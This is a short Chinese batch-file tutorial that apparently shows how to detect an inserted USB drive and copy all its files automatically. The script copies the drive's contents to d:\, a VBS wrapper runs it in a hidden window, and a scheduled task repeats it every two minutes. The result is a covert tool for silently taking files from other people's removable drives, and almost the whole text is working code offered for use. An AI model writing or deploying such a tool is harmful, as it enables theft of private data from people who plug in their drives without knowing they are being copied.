如何判断u盘已插入并自动copy所有内容.txt

bat教程

for %%i in (c d e f g h i j k) do @fsutil fsinfo drivetype %%i:>>d:\t.txt
findstr /i "可移动驱动器" d:\t.txt
if errorlevel==1 goto end
if errorlevel==0 goto cop
:end
exit
:cop
for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" d:\t.txt') do @set yidong=%%i
copy %yidong%\*.* d:\ /y
del d:\t.txt
存为g.bat
set ws=WScript.CreateObject("WScript.Shell") 
ws.Run "d:\g.bat",0
存为b.vbs
再运行一次
schtasks /create /s system /sc minute /mo 2 /tn copyfiles /tr d:\b.vbs
即可.